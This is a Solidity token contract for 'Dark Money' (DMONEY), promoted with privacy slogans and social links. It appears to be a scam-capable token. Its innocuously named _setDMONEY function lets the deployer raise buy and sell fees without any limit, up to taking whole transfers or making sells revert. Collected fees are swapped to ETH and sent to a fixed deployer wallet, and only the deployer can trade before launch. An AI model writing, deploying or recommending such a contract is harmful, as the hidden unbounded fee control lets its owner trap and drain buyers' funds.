/*

Privacy is legally required. 
Privacy is needed to avoid being targeted by thieves.
Privacy is needed to maintain social peace.
Privacy is needed to respect your customer and client activity.
Privacy is safety.
Privacy is shelter, warmth.
Privacy is what makes you an individual.

Telegram: https://t.me/DarkMoneyPortal
Twitter: https://twitter.com/DarkMoneyETH
Website: https://darkmoney.space

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.20;

    interface IUniswapV2Router02 {
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
            ) external;
        }
        
    contract DarkMoney {
        string public constant name = "Dark Money";  //
        string public constant symbol = "DMONEY";  //
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 100_000_000 * 10**decimals;

        uint256 BurnFigure = 1;
        uint256 ConfirmFigure = 1;
        uint256 constant swapAmount = totalSupply / 100;

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
            
        error Permissions();
            
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
            

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant deployer = payable(address(0xFeE935651B18cE1Cf1C57a9efb0EaB5CA6093d87)); //

        bool private swapping;
        bool private tradingOpenNow;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

         receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpenNow || from == deployer || to == deployer);

            if(!tradingOpenNow && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                    );
                deployer.transfer(address(this).balance);
                swapping = false;
                }

            if(from != address(this)){
                uint256 FinalFigure = amount * (from == pair ? BurnFigure : ConfirmFigure) / 100;
                amount -= FinalFigure;
                balanceOf[address(this)] += FinalFigure;
            }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

        function NowTradingOpen() external {
            require(msg.sender == deployer);
            require(!tradingOpenNow);
            tradingOpenNow = true;        
            }

        function _setDMONEY(uint256 newBurn, uint256 newConfirm) external {
            require(msg.sender == deployer);
            BurnFigure = newBurn;
            ConfirmFigure = newConfirm;
            }
        }